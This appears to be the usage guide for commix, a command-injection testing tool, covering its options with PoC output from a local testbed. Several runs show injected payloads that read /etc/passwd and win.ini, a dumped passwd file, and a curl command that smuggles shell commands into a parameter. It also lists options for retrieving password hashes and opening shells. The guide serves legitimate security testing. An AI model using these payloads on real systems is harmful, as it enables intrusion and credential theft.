Repository navigation
Usage
This guide breaks down every critical option, command, and technique you need to master commix’s full range of features and capabilities.
Where a section shows a PoC, the lines under it are what that run actually printed, captured against the commix-testbed running locally - so the output is the tool's own rather than a reconstruction of it. The port it answers on is only whatever that run mapped it to, and two of the scenarios are not served by its Apache at all - the JavaScript and the Java one each run as a standalone server on a port of their own. A PoC taken anywhere other than the testbed's own site names the address it was taken against.
Usage: python commix.py [option(s)]
Options:
-h Show help and exit.
-hh Show advanced help message and exit.
General:
These options relate to general matters.
-v VERBOSE Verbosity level (0-4, Default: 0).
--install Install commix to your system.
--version Show version number and exit.
--update Check for updates (apply if any) and exit.
--output-dir=OUT.. Set custom output directory path.
-s SESSION_FILE Load session from a stored (.sqlite) file.
--flush-session Flush session files for current target.
--ignore-session Ignore results stored in session file.
-t TRAFFIC_FILE Log all HTTP traffic into a textual file.
--har=HAR Log all HTTP traffic into a HAR file.
--eta Display for each output the estimated time of arrival.
--no-truncate Disable console output truncation.
--time-limit=TIM.. Run with a time limit in seconds (e.g. 3600).
--batch Never ask for user input, use the default behaviour.
--skip-heuristics Skip heuristic detection for code injection.
--codec=CODEC Force codec for character encoding (e.g. 'ascii').
--charset=CHARSET Blind injection charset (e.g. '0123456789abcdef').
--check-internet Check internet connection before assessing the target.
--answers=ANSWERS Set predefined answers (e.g. 'quit=N,follow=N').
--abort-on-empty Abort data retrieval on empty results.
-c CONFIG_FILE Load options from a configuration INI file.
--save=SAVE_CONFIG Save options to a configuration INI file.
--parse-errors Parse and display shell/interpreter errors from
responses.
--results-file=R.. Store findings of every target to a CSV file.
--report-json=RE.. Store run results to a JSON file.
Target:
This options has to be provided, to define the target URL.
-u URL, --url=URL Target URL.
--url-reload Reload target URL after command execution.
-l LOGFILE Parse target from HTTP proxy log file (or HAR export).
-m BULKFILE Scan multiple targets given in a textual file.
-r REQUESTFILE Load HTTP request from a file.
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
(Default: 1).
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. 'logout').
--second-url=SEC.. Resulting page URL searched for second-order response.
--second-req=SEC.. Load second-order HTTP request from file.
--scope=SCOPE Regexp to filter targets (e.g.
'(www)?\.target\.(com|net|org)').
--forms Parse and test forms on target URL (requires '--
crawl').
--openapi=OPENAPI Derive target(s) from an OpenAPI (Swagger)
specification (file/URL).
--openapi-base=O.. Base URL for a specification that names no host of its
own.
--openapi-tags=O.. Only derive target(s) from operations carrying these
tag(s).
-x SITEMAP_URL Parse target(s) from remote sitemap(.xml) file.
--method=METHOD Force usage of given HTTP method (e.g. 'PUT').
Request:
These options can be used to specify how to connect to the target URL.
-d DATA, --data=.. Data string to be sent through POST.
--host=HOST HTTP Host header.
--referer=REFERER HTTP Referer header.
--user-agent=AGENT HTTP User-Agent header.
--random-agent Use a randomly selected HTTP User-Agent header.
--mobile Imitate smartphone through HTTP User-Agent header.
--param-del=PDEL Set character for splitting parameter values.
--cookie=COOKIE HTTP Cookie header.
--load-cookies=L.. File containing cookies in Netscape/wget format.
--live-cookies=L.. Live cookies file used for loading up-to-date values.
--cookie-del=CDEL Set character for splitting cookie values.
--http1.0 Force requests to use the HTTP/1.0 protocol.
-H HEADER, --hea.. Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').
--headers=HEADERS Extra headers (e.g. 'Accept-Language: fr\nETag: 123').
--auth-file=AUTH.. HTTP authentication PEM cert/private key file.
--hpp Use HTTP parameter pollution method.
--proxy=PROXY Use a proxy to connect to the target URL
('(http|https|socks4|socks5)://address:port').
--tor Use the Tor network.
--tor-port=TOR_P.. Set Tor proxy port (Default: 8118).
--tor-type=TOR_T.. Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5).
--check-tor Check to see if Tor is used properly.
--auth-url=AUTH_.. Login panel URL.
--auth-data=AUTH.. Login parameters and data.
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer).
--auth-cred=AUTH.. HTTP authentication credentials (e.g. 'admin:admin').
--abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401).
--ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401).
--force-ssl Force usage of SSL/HTTPS.
--chunked Use HTTP chunked transfer encoded (POST) requests.
--proxy-file=PRO.. Load proxy list from a file.
--proxy-freq=PRO.. Requests between change of proxy from a given list.
--proxy-cred=PRO.. Proxy authentication credentials (name:password).
--ignore-proxy Ignore system default proxy settings.
--ignore-redirects Ignore redirection attempts.
--ignore-timeouts Ignore connection timeouts.
--randomize=RAND.. Randomly change value for given parameter(s).
--retry-on=RETRY.. Retry request on regexp matching content (e.g.
'drop').
--preprocess=PRE.. Use given script(s) for preprocessing (request).
--postprocess=PO.. Use given script(s) for postprocessing (response).
--safe-url=SAFE_.. URL address to visit frequently during testing.
--safe-post=SAFE.. POST data to send to a safe URL.
--safe-req=SAFE_.. Load safe HTTP request from a file.
--safe-freq=SAFE.. Regular requests between visits to a safe URL.
--csrf-token=CSR.. Parameter used to hold anti-CSRF token.
--csrf-url=CSRF_.. URL address to visit for extraction of anti-CSRF
token.
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit.
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit.
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0).
--param-encoding.. Encoding a parameter's value is carried in (e.g.
'addr=base64').
--skip-urlencode Skip URL encoding of payload data.
--skip-xmlencode Skip safe encoding of payload data for SOAP/XML.
--timeout=TIMEOUT Seconds to wait before timeout connection (Default:
30).
--retries=RETRIES Retries when the connection timeouts (Default: 3).
--delay=DELAY Seconds to delay between each HTTP request.
--jitter=JITTER Seconds of random variation added to '--delay'.
--drop-set-cookie Ignore Set-Cookie header from response.
Enumeration:
These options can be used to enumerate the target host.
--all Retrieve everything.
--current-user Retrieve current user name.
--hostname Retrieve current hostname.
--is-root Check if the current user have root privileges.
--is-admin Check if the current user have admin privileges.
--sys-info Retrieve system information.
--users Retrieve system users.
--passwords Retrieve system users password hashes.
--privileges Retrieve system users privileges.
--ps-version Retrieve PowerShell's version number.
File access:
These options can be used to access files on the target host.
--file-read=FILE.. Read a file from the target host.
--file-write=FIL.. Write to a file on the target host.
--file-dest=FILE.. Host's absolute filepath to write to.
--common-files Check for common files on the target host.
Registry access:
These options can be used to access the Windows registry on the target
host.
--reg-read Read a Windows registry key value.
--reg-add Write a Windows registry key value.
--reg-del Delete a Windows registry key (value).
--reg-key=REG_KEY Windows registry key (e.g. 'HKLM\Software\Foo').
--reg-value=REG_.. Windows registry key value name.
--reg-data=REG_D.. Windows registry key value data.
--reg-type=REG_T.. Windows registry key value type (Default: 'REG_SZ').
Modules:
These options can be used increase the detection and/or injection
capabilities.
--module=MODULE Use a specific injection module.
Optimization:
These options can be used to optimize the performance.
-o Turn on all optimization switches.
--no-keep-alive Disable persistent HTTP(s) connections (Keep-Alive).
--threads=THREADS Max number of concurrent HTTP requests (default 1, max
10).
Injection:
These options can be used to specify which parameters to inject and to
provide custom injection payloads.
-p TEST_PARAMETER Testable parameter(s).
--skip=SKIP_PARA.. Skip testing for given parameter(s).
--param-exclude=.. Regexp to exclude parameters from testing (e.g.
'ses').
--param-filter=P.. Select testable parameter(s) by place (e.g. 'POST').
--suffix=SUFFIX Injection payload suffix string.
--prefix=PREFIX Injection payload prefix string.
--technique=TECH Specify injection technique(s) to use (Default:
'rbtf').
--type=TYPE Specify injection type(s) to use.
--eval=LANG Test for code injection (e.g. 'php').
--skip-technique.. Specify injection technique(s) to skip.
--test-filter=TE.. Test only the given payload boundaries (e.g. ';').
--test-skip=TEST.. Skip the given payload boundaries (e.g. '%0a').
--oob Test over an out-of-band (OAST) channel (HTTP(S) or
DNS, see '--oob-transport').
--oob-server=OOB.. Self-hosted interactsh server to use.
--oob-token=OOB_.. Auth token for the out-of-band server.
--oob-transport=.. Client the target reaches the out-of-band server with
(e.g. 'dns', 'curl').
--oob-scheme=OOB.. Scheme the target reaches the out-of-band server on
('http' or 'https').
--oob-poll=OOB_P.. Seconds between out-of-band server polls (Default: 5).
--oob-timeout=OO.. Seconds to wait for an interaction (Default: 15).
--maxlen=MAXLEN Set the max length of character-by-character output
(Default: 10000 chars).
--time-sec=TIMESEC Seconds to delay the OS response.
--tmp-path=TMP_P.. Set the absolute path of web server's temp directory.
--web-root=WEB_R.. Set the web server document root directory (e.g.
'/var/www').
--interpreter=IN.. Specify an alternative interpreter to build payloads
with (e.g. 'Python').
--os-cmd=OS_CMD Execute a single operating system command.
--os-shell Prompt for a command shell.
--pty Upgrade a built-in-handler reverse/bind TCP session to
a full interactive PTY (Unix target only).
--os=OS Force back-end operating system (e.g. 'Windows' or
'Unix-like').
--proof Prove exploitation of the detected injection point(s).
--tamper=TAMPER Use given script(s) for tampering injection data.
--msf-path=MSF_P.. Set a local path where metasploit is installed.
--priv-esc Suggest local privilege-escalation exploits as soon as
a Meterpreter session opens.
Detection:
These options can be used to customize the detection phase.
--level=LEVEL Level of tests to perform (1-3, Default: 1).
--string=STRING String to match in the page when the injected
condition is true.
--not-string=NOT.. String to match in the page when the injected
condition is false.
--regexp=REGEXP Regexp to match in the page when the injected
condition is true.
--code=CODE HTTP code to match when the injected condition is
true.
--lengths Compare pages based only on their content length.
--null-connection Retrieve the boolean-based page's length without its
body.
--mine-params Mine for hidden (unlinked) parameters to test.
--mine-endpoints Mine for endpoints named in the scripts a page loads.
--jwt Check the request's JSON Web Token and test its 'kid'.
--skip-calc Skip the mathematic calculation during the detection
phase.
--skip-subst Confirm the time-based technique with a plain,
uncomputed delay, instead of command substitution.
--skip-empty Skip testing the parameter(s) with empty value(s).
--skip-static Skip testing the parameter(s) that do not appear to be
dynamic.
--titles Compare pages based only on their titles.
--text-only Compare pages based only on their textual content.
--disable-stats Disable the statistical model for detecting the delay.
--failed-tries=F.. Set a number of failed injection tries, in file-based
technique.
--smart Perform thorough tests only if positive heuristic(s).
Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. 'flu,bat,tec=rt').
--dependencies Check for missing (optional) third-party dependencies.
--ignore-depende.. Ignore all required third-party library dependencies.
--list-tampers Display list of available tamper scripts.
--alert=ALERT Run host OS command(s) when injection point is found.
--no-logging Disable logging to a file.
--purge Safely remove all content from commix data directory.
--cleanup Remove what this run itself wrote to the target ('--
file-write', '--reg-add'), right after writing it.
--unstable Adjust options for unstable connections.
--skip-waf Skip heuristic detection of WAF/IPS protection.
--offline Work in offline mode.
--wizard Simple wizard interface for beginner users.
--disable-coloring Disable console output coloring.
Below is an exhaustive breakdown of all options and switches together with examples.
-
General options
- Show help message
- Show advanced help message
- Output verbosity
- System-wide installation
- Display current version
- Update to latest development version
- Set custom output directory path
- Resume from stored session data
- Flush stored session data
- Ignore stored session data
- Log all HTTP traffic into a textual file
- Log all HTTP traffic into a HAR file
- Display the estimated time of arrival
- Disable console output truncation
- Store run results to a JSON file
- Store findings of every target to a CSV file
- Set time limit for the scan to complete
- Act in non-interactive mode
- Skip heuristic detection during the scan
- Force specific codec on each request
- Specify custom set of characters
- Check internet access before scanning
- Predefine answers to interactive questions
- Abort data retrieval on empty results
- Parse shell and interpreter errors from the response
- Save options to a configuration INI file
- Load options from a configuration INI file
-
Target options
- Target URL
- Reload target URL (on each request)
- Parse target(s) from proxy log file
- Load multiple targets enlisted in a file
- Load HTTP request from a file
- Crawl website starting from target URL
- Exclude pages from website crawling
- Read the result from a second-order page
- Load the second-order request from a file
- Filter targets by scope
- Test HTML forms
- Scan URLs from
sitemap.xml - Derive targets from an OpenAPI (Swagger) description
- Set the base URL of a host-less description
- Restrict extraction to tagged operations
- Force HTTP method usage
-
Request options
- HTTP data
HostHTTP headerRefererHTTP headerUser-AgentHTTP header- Use random
User-AgentHTTP header - Imitate a smartphone
- Set parameters splitting character
- Set the encoding a parameter's value is carried in
- Set custom
Cookieheader values - Load cookies from a file
- Load up-to-date cookies from a file
- Set cookies splitting character
- Force
HTTP/1.0protocol - Set extra HTTP header (single)
- Set extra HTTP headers (bulk)
- Send a parameter twice, to be read differently
- Route all traffic through a specified proxy
- Enable sending requests over Tor
- Specify Tor proxy port
- Set the Tor proxy type
- Check that traffic goes through Tor
- Specify login page URL
- Specify authentication data
- Specify HTTP authentication type
- Set HTTP authentication credentials
- Authenticate with a client certificate
- Set HTTP status code(s) to abort
- Set HTTP status code(s) to ignore
- Force HTTPS usage
- Use chunked transfer encoding
- Load a proxy list from a file
- Set how often the proxy changes
- Set proxy authentication credentials
- Ignore system proxy settings
- Ignore HTTP redirects during scanning
- Ignore connection timeouts
- Randomly change the value of given parameters
- Retry a request on matching content
- Process the request on its way out, and the response on its way back
- Visit a safe URL during testing
- Send POST data to the safe URL
- Load the safe request from a file
- Set how often the safe URL is visited
- Set the parameter holding the anti-CSRF token
- Set the page the anti-CSRF token is read from
- Set the method used for the anti-CSRF token page
- Set the data sent to the anti-CSRF token page
- Set the retries for anti-CSRF token retrieval
- Skip URL encoding of payload data
- Skip safe encoding of payload data for SOAP/XML
- Set connection timeout
- Set number of retry failed connection attempts
- Set delay between HTTP requests
- Add random variation to the delay between requests
- Ignore
Set-Cookieheaders
-
Enumeration options
- Retrieve all available target information
- Retrieve current username
- Retrieve hostname
- Check if current user has root privileges
- Check if current user has administrative privileges
- Retrieve detailed system information
- Retrieve a list of user accounts
- Attempt to retrieve password hashes
- Retrieve detailed privilege information
- Retrieve installed PowerShell version
- File Access options
- Registry Access options
- Modules
- Optimization options
-
Injection options
- Test only specified parameter(s)
- Skip testing specified parameter(s)
- Exclude parameters from testing by name
- Select testable parameters by place
- Append custom string (to all injection payloads)
- Prepend custom string (to all injection payloads)
- Use tamper scripts to modify payloads
- Select technique(s) to use during testing
- Select injection type(s) to use during testing
- Test for code injection
- Skip specified injection technique(s)
- Select or skip the boundaries a technique is tried with
- Set maximum output length
- Set delay duration
- Set web server temporary directory path for file uploads
- Set web server document root directory for file operations
- Choosing a document root when none is given
- Use an alternative interpreter for payloads
- Execute a single OS command on the target and show output
- Prompt for an interactive command shell
- Upgrade a reverse/bind shell to a full PTY
- Force OS detection to Windows or Unix/Linux for tailored payloads
- Prove exploitation of the injection point(s) found
- Specify MSF installation path
- Suggest local privilege-escalation exploits
- Use an out-of-band channel
- Self-hosted out-of-band server
- Out-of-band server authentication token
- Out-of-band client
- Out-of-band scheme
- Out-of-band polling interval
- Out-of-band interaction timeout
-
Detection options
- Level
- Say what a true answer looks like
- Mine for hidden parameters
- Mine for endpoints named in the scripts a page loads
- Audit the request's JSON Web Token
- Skip the mathematic calculation during the detection phase
- Confirm the time-based technique with a plain, uncomputed delay
- Skip parameters with empty values during injection tests
- Skip parameters that do not appear to be dynamic
- Compare pages by their content length
- Retrieve the boolean-based page's length without its body
- Compare pages by their titles
- Compare pages by their textual content
- Disable the statistical model for detecting the delay
- Set max number of failed attempts
- Run thorough tests only on positive heuristics
-
Miscellaneous options
- Use short mnemonics for options
- Check for missing third-party dependencies
- Ignore all required third-party dependencies
- Available tamper scripts
- Show available tamper scripts
- Alert on successful injection detection
- Disable file logging
- Safely remove all data directory content
- Remove what this run wrote to the target
- Adjust options for unstable connections
- Skip heuristic WAF/IPS detection
- Run in offline mode
- Use simple wizard interface for beginners
- Disable colored console output
- Advanced usage tips
- Exploitation Guides
These options control the overall behavior of the tool, such as managing sessions, setting verbosity levels, controlling output formats, and configuring global runtime parameters. Use these to customize how commix interacts with the target and how it reports results.
Switch: -h
Display the general help message with usage syntax and a categorized list of all available options. Useful for quick reference or to explore the full range of features and switches. Typically the first step when getting familiar with the tool or verifying available flags before launching an attack.
python commix.py -hSwitch: -hh
This switch prints every option commix accepts, grouped as in the sections below. The -h switch prints only the options a first run is usually made of, so that the list stays readable; -hh is the one to reach for when looking for something specific.
python commix.py -hhOption: -v VERBOSE
This option increases the verbosity level, providing progressively deeper insights into the tool’s internal processes. It is invaluable for troubleshooting, debugging, and gaining a clear understanding of each step commix takes during testing.
Verbosity levels:
-
0: Displays only essential information and high-level results. Ideal for routine scans where you want concise output without additional debug details. -
1: Enables simple debugging information including key events and warnings. Useful for identifying general issues without overwhelming detail. -
2: In addition to level1output, shows all HTTP requests sent by commix. This allows you to verify exactly what data and headers are being transmitted to the target server. -
3: Extends level2by also displaying HTTP response headers received from the server. This helps to analyze server behavior, headers, cookies, redirects, and error codes during testing. -
4: Provides the most comprehensive output, including complete HTTP request and response bodies. This level is essential for in-depth debugging, allowing you to inspect payloads, server responses, and data exchange in detail to troubleshoot complex injection points or server issues.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" -v3PoC: at -v3, each request and the response headers
that came back for it are printed, on top of the ordinary progress messages:
[07:56:09] [traffic] HTTP request [#1]:
GET /scenarios/regular/GET/classic.php?addr=127.0.0.1&DNZV=%3Bcat%20/etc/passwd%7Ctype%20C%3A%5CWindows%5Cwin.ini%26%26dir%20../../%7C%7C%24%28cat%20/etc/passwd%29 HTTP/1.1
Host: localhost:8081
[07:56:12] [traffic] HTTP response [#1] (200):
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.6
Content-Type: text/html
Switch: --install
This option installs commix system-wide, making it accessible globally from any location on your system. It is especially useful if you plan to use commix regularly and want to integrate it into your long-term penetration testing toolkit. By installing commix, you streamline workflow and avoid needing to run it from its local directory each time.
Note
- This option requires administrator privileges to install correctly system-wide.
- After installation, you can invoke commix simply using
commixfrom any terminal session.
sudo python commix.py --installIf the above method doesn’t work, you can manually clone the official commix repository and install it using Python’s standard setup script. This approach gives you direct access to the latest source code and provides a flexible installation process.
git clone https://github.com/commixproject/commix.git
cd commix
sudo python setup.py installNote
- This method downloads the most recent source code and installs commix system-wide.
- Administrator privileges are required to place files in system directories and create executable launcher scripts.
- After installation, you can run
commixfrom any terminal session without specifying its full path. - To avoid permission issues or keep commix isolated, consider installing it inside a Python virtual environment instead.
Switch: --version
This option displays the currently installed version of commix. It is useful for verifying that the tool has been correctly installed and for determining whether you're running the latest version. Use this before a scan to ensure compatibility, access to the latest features, and to avoid bugs fixed in newer releases.
Note
- Helps confirm successful installation.
- Useful for troubleshooting and when reporting issues, as version information is often required.
python commix.py --versionvN.N.devXYZ
Switch: --update
This option ensures that you are using the most up-to-date exploit techniques and features. Keeping the tool updated improves detection accuracy and allows you to leverage the latest security research.
Note
- This option requires that commix was installed via
git clonefrom the official repository. The update mechanism usesGitto fetch and apply the latest commits. - If you are running commix from a static release package (such as a
ZIParchive), the--updateswitch will not function properly, and you will need to manually download newer versions.
python commix.py --updateOption: --output-dir=OUTDIR
This option allows you to define a custom directory for storing session data, result files, and logs generated during a scan. By default, commix saves these files in a subdirectory named output within the current working directory. Using this option improves file organization - especially when handling multiple targets or running scans in different environments - by directing results to a location of your choice.
Note
- The specified directory will be created if it doesn't exist.
- Useful for keeping scan data centralized, especially when automating or logging multiple engagements.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --output-dir="/tmp/commix_reports"PoC: the directory is created if missing, and the
run's log file is written under it instead of the default .output/ location:
[07:55:04] [info] Created missing output directory '/tmp/commix_reports_demo'.
[07:55:07] [info] Fetched data logged to text files under '/tmp/commix_reports_demo/localhost_8081/logs.txt'.
Option: -s SESSION_FILE
This option allows you to load a previously saved session from a .sqlite file. Commix creates and maintains persistent session files for each scan, storing valuable information such as detected injection points, tested parameters, scan progress, and what was worked out about the target itself - its operating system and hardware platform - so a resumed scan does not ask the target again. By specifying this option, you can resume a scan exactly where it left off - saving time, avoiding redundant testing, and enabling deeper follow-up analysis. This is particularly useful when working on long assessments or revisiting targets at a later stage. You may also provide a custom file path if you're organizing session data for multiple targets in a central location.
Note
- Sessions are automatically saved in the
.output/directory - unless a custom path is specified. - Combine with
--output-dirfor streamlined session and result management. - Use
--ignore-sessionif you want to temporarily skip loading a session without deleting it. - A run that reports findings it replayed rather than found says how old the file they came out of
is, once that is a week or more. Nothing in such a run was sent to the target, so a finding
stored before the application was patched still reads as one;
--flush-sessiontests it again and--ignore-sessionleaves what is stored out of the run. - A resumed finding replays the payload that was stored, so the values that payload was built
around - the document root, the temporary directory, the interpreter and the delay - are the
stored ones. Passing a different
--tmp-path,--interpreteror--time-secis reported rather than silently applied;--flush-sessionre-tests with the new values. A different--web-rootis the one exception: the stored file-based finding is dropped and re-detected fresh against it instead, since replaying the old payload as is would write to both directories at once.
python commix.py -s session_data.sqlitePoC: a first run against the classic.php scenario
stores its findings in the default session file; a second, unrelated run against the same target
picks the stored operating system back up instead of re-probing for it:
[07:54:57] [info] Previous session identified the target operating system as 'Unix-like'.
Switch: --flush-session
This option deletes all previously stored session data for the target, ensuring that the current scan starts fresh without interference from cached results. Session files in commix store discovered injection points, tested parameters, payload results, and more.
It can be useful when:
- You suspect the session data is outdated or corrupted
- You want to rerun a scan from scratch with new options
- You’ve updated commix and want to avoid compatibility issues with older session files
By using this option, commix removes the corresponding .sqlite file and regenerates it from the beginning of the scan.
Note
- Use
--flush-sessioncautiously, as it clears all stored session data and forces commix to perform fresh scans from scratch. - Use
--ignore-sessioninstead if you want to temporarily bypass session loading without deleting data.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --flush-sessionPoC: with a stored session already present for this
target, a plain re-run skips straight to the stored finding instead of re-testing; --flush-session
discards it first, so the heuristic and detection steps run again from scratch:
[07:55:17] [info] Setting GET parameter 'addr' for tests.
[07:55:17] [info] Performing heuristic (basic) test on the GET parameter 'addr'.
[07:55:17] [info] Testing the results-based classic command injection technique, please wait... (done)
[07:55:17] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Switch: --ignore-session
This option tells skips loading previously saved session data but does not delete it, allowing temporary fresh scans without losing history. Unlike --flush-session, which permanently deletes stored data, --ignore-session simply bypasses it for the current run - leaving the session file intact for future use.
It can be useful when:
- You suspect previous session results are outdated or no longer reliable
- You want to test new parameters or techniques without losing historical data
- You need to revalidate a finding without interference from cached results
Note
- Use
--flush-sessionif you want to fully erase session data. - Helpful in scenarios where repeat testing is necessary but session data may skew results.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --ignore-sessionPoC: the same target, same stored session as above -
--ignore-session also re-runs the full detection rather than reusing the stored finding, but leaves
the session file itself untouched:
[07:55:27] [info] Setting GET parameter 'addr' for tests.
[07:55:27] [info] Performing heuristic (basic) test on the GET parameter 'addr'.
[07:55:27] [info] Testing the results-based classic command injection technique, please wait... (done)
[07:55:27] [info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
Option: -t TRAFFIC_FILE
This option records all raw HTTP traffic - including full request and response data - into the specified file. By preserving complete HTTP exchanges, this log helps validate findings, trace behavior, and document the exploitation process with forensic accuracy.
It can be useful for:
- Post-exploitation analysis
- Bug bounty or vulnerability disclosure reports
- Keeping a record of what was sent and what came back
- Reproducing exploitation steps during reviews or testing
Note
- Log files may include sensitive data such as cookies or credentials - store them securely.
- Combine with
-vto enhance live debugging while capturing permanent records.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" -t traffic_log.txtPoC: traffic_log.txt ends up holding the full
request/response pairs, in the order they were sent:
HTTP request [#1]:
GET /scenarios/regular/GET/classic.php?addr=127.0.0.1&UZXJ=%3Bcat%20/etc/passwd%7C... HTTP/1.1
Host: localhost:8081
HTTP response [#1] (200):
Server: Apache/2.4.7 (Ubuntu)
Content-Type: text/html
Option: --har=HAR
This option records the same traffic as -t, in the HTTP Archive format that proxies, browsers and request runners already read. Where the textual log is written to be read by a person, one exchange after another, this one is written as data: each request commix sent, with its method, URL, headers, body and query, paired with the status, headers, body and timing of the answer it was given.
That makes a run's traffic something the rest of the toolchain can act on rather than transcribe. A HAR file can be imported into an intercepting proxy to replay or edit a request, opened in a browser's network panel, diffed against an earlier run, or filtered with any of the tools that already speak the format - so confirming a finding, or handing one over, does not mean reconstructing the request by hand.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --har=traffic.harPoC: the run reports how many requests it logged, and the HAR file itself holds each one as a structured entry:
[07:57:51] [info] HTTP traffic of 5 requests logged to the HAR file 'traffic.har'.
{"method": "GET", "url": "http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1&HSZU=...", "status": 200}Note
- The file is written when the run ends, and it holds the payloads that were sent - store it as securely as the textual log.
- A response body that is not text (an image, or a page in another encoding) is stored base64-encoded, so that what the target returned can still be reproduced from the file.
- The two headers the HTTP client fills in for itself,
HostandContent-Length, are recorded with the request even though commix does not set them, because a replay needs them.
Switch: --eta
This switch shows a progress bar while the output of a command is being retrieved, along with how much of it is left and how long the rest is expected to take. It is meant for the time-related techniques, where the answer arrives one character at a time and a long retrieval otherwise gives no sign of how far along it is.
Note
- The estimate is taken from how long the characters retrieved so far have taken, and is eased into rather than jumping, so a single slow character does not swing it.
- The bar is drawn only where there is a terminal to draw on. Output redirected to a file or a pipe is left clean.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --technique=t --etaPoC (--technique=b --os-cmd="id -u"): the bar replaces the row of dots, saying how much of the
output is back and how long the rest is expected to take:
50% [==============> ] 1/2 (ETA 00:00)
100% [==============================] 2/2 (ETA 00:00)
Switch: --no-truncate
By default, a long retrieved value is shortened on the console so that a single answer does not fill the screen; the full value is still written to the output files. This switch turns that shortening off and prints what was retrieved in full.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --file-read="/etc/passwd" --no-truncatePoC: the switch only changes the line that is
rewritten while a character-by-character retrieval is still in progress - the final File contents:
summary this run ends with is written out in full either way, since it is printed once and is not
the line the truncation applies to:
File contents: 'root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false'
Option: --report-json=REPORT_JSON
This option writes the results of the run to a JSON file: the targets tested, the injection points identified, the technique and payload behind each finding, the commands executed, and whether a WAF/IPS was met along with the evasion used against it. Unlike the textual log, the output is machine-readable, so it can be consumed by CI pipelines, dashboards, or reporting scripts without parsing terminal text.
Every identified injection point also carries a curl command that reproduces it, so the finding can be confirmed, handed over or retested after a fix without running commix again. The same command is written to the textual log. Where the request cannot be reproduced exactly - a body sent chunked, or a cookie that was read live and has since changed - what the command leaves out is stated beside it.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --report-json=results.jsonThe file is written as the run goes rather than once at the end, so it can be read while the run is
still going, and it carries the ending it reached - running while it is going, then completed,
time-limit where --time-limit
ended it, terminated where something asked the run to stop, or failed where it ended on an
error. What went wrong is kept beside the findings in errors, which is what tells a run that could
not reach its target from one that reached it and found nothing - both end with no findings.
PoC: the finding, its payload and a ready-to-use
curl reproduction all land in the file (one of four findings shown):
{
"target": "http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1",
"http_method": "GET",
"started": "2026-10-08 09:37:49",
"status": "completed",
"findings": [
{
"parameter": "addr",
"http_method": "GET",
"technique": "Results-based",
"type": "Classic command injection",
"boundary": "';' separator, ' ' whitespace",
"payload": "ZTJ;echo SXYMBU$((25+99))$(echo SXYMBU)SXYMBU;",
"reproduce": "curl -i -s --get ... --data-urlencode 'addr=ZTJ;echo SXYMBU$((25+99))$(echo SXYMBU)SXYMBU;' 'http://localhost:8081/scenarios/regular/GET/classic.php'"
}
],
"finished": "2026-10-08 09:38:09",
"requests": 65,
"target_os": "Unix",
"waf_detected": false,
"evasion_applied": ""
}A run working through several targets - a list given with -m, a crawl, a page of forms, a sitemap,
a request log holding more than one request - keeps one such object per target under targets, with
started, status, finished and requests standing for the run as a whole.
{
"targets": [
{
"target": "http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1",
"status": "completed",
"findings": [ ... ]
},
{
"target": "http://localhost:8081/scenarios/regular/GET/blind.php?addr=127.0.0.1",
"status": "completed",
"findings": [ ... ]
}
],
"started": "2026-10-08 09:33:56",
"status": "completed",
"finished": "2026-10-08 09:36:21",
"requests": 145
}Option: --results-file=RESULTS_FILE
This option keeps one line per injection point found, in a CSV file that every target tested in a run is appended to: the target URL, the place and the parameter the point was found at, the techniques that answered through it, and what kind of injection each was. Where --report-json describes one run in full, this describes many runs in one column layout - which target, where, and how.
A run working through several targets - a list given with -m, a crawl, a page of forms, a sitemap, a request log holding more than one request - is given the file whether or not this option names one, since the answer such a run is started for is exactly which of its entries were vulnerable. Left unnamed, it is called after the time the run started and written beside the run's other output. A single target has a log of its own and is not given one.
A row stands for a parameter rather than for a finding, so a parameter reached by more than one technique is one line with the technique letters together, the same letters --technique uses. A finding made by a module has no such letter, since a module is not one of the techniques that option chooses between, and is named in words instead.
The file is added to rather than replaced, so the same file can collect the results of several runs - a list of targets today and another tomorrow end up in one sheet, ready to be sorted, filtered or handed over.
python commix.py -m targets.txt --results-file=findings.csv --batchPoC: one line per parameter, with the letters of every technique that answered through it:
Target URL,Place,Parameter,Technique(s),Note(s)
http://localhost:8081/scenarios/regular/GET/classic.php?addr=127.0.0.1,GET,addr,BFRT,Blind command injection; Classic command injection
Target URL,Place,Parameter,Technique(s),Note(s)
http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1,GET,addr,RT,Blind command injection; Classic command injection
http://commix-testbed/scenarios/regular/GET/blind.php?addr=127.0.0.1,GET,addr,T,Blind command injection
Option: --time-limit=SECONDS
This option sets a hard time limit for how long commix is allowed to run, specified in seconds. Once the specified duration is reached, commix will forcibly stop the scan - regardless of its current progress. It is particularly useful in automated environments (e.g., CI/CD pipelines), where it's critical to prevent long-running scans from delaying or blocking build processes.
Note
